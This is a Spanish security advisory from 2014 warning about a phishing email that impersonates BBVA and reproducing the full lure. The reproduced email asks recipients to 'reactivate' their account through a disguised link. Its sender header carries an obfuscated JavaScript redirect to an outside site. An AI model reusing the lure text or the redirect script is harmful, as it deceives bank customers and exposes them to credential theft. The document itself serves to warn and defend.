Nuevo mail “Phishing” que se está recibiendo masivamente, aparentando venir del BBVA

Como otras veces, esta vez se está recibiendo un mail con suplantacion de personalidad,
ofreciendo rellenar datos para “reactivar” su cuenta
MAIL MALICIOSO:
_______________

Asunto:  BBVA – Mensaje automatico
Fecha:  Mon, 14 Apr 2014 11:37:49 +0200
De:  BBVA NET <$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to:servicio@bbva.es”>servicio@bbva.es
Para:  <destinatario>
Estimado cliente <destinatario>

Nos dirigimos a usted para informarle que su clave de operaciones BBVA Net no ha sido cambiada y ha vencido el día 16/4/2014. Para una mayor seguridad su cuenta online ha sido suspendida temporalmente hasta que se genere una nueva clave.

Con el fin de solucionar esta irregularidad le rogamos que acceda al enlace que a continuación le facilitamos para comprobar su identidad y reactivar su cuenta.

BBVA – Validación:
https://bbva.es/formulario_validacion/   <——   LINK FALSEADO, CONDUCE A WEB ALEMANA

Banco BBVA le agradece de nuevo su confianza.
Atentamente,

BBVA
Dpto. Incidencias
Tel. 902 18 18 18
Correo:
Banco Bilbao Vizcaya Argentaria S.A. – 2014

* Una vez completado el formulario de comprobación de datos, recibirá por escrito en un plazo máximo de 7 días hábiles un correo ordinario con su nueva clave de operaciones BBVA net junto con el contrato de Servicio BBVA net. Para cualquier información no dude en contactar con nosotros a través de nuestro correo electrónico .

Proceed to unsubscribe

This email has been sent to you from BBVA NET via bbva.es.
BBVA • Plaza San Nicolás #4 • 28080, Madrid
__________________
FIN MAIL MALICIOSO

El enlace propuesto conduce a una web alemana que pretenden capturar los datos del usuario:

Como siempre, recordamos que no se deben abrir ficheros anexados a mails no solicitados, asi como no pulsar en enlaces o imagenes de los mismos, y por supuesto, NUNCA RELLENAR DATOS QUE PIDAN POR MAIL aunque aparenten venir de fuentes conocidas.

Y si se han visto afectados e infectados por dicho malware, avisen urgentemente a su banco al respecto …

Esperamos que lo indicado les sea de utilidad.

saludos

ms, 14-4-2014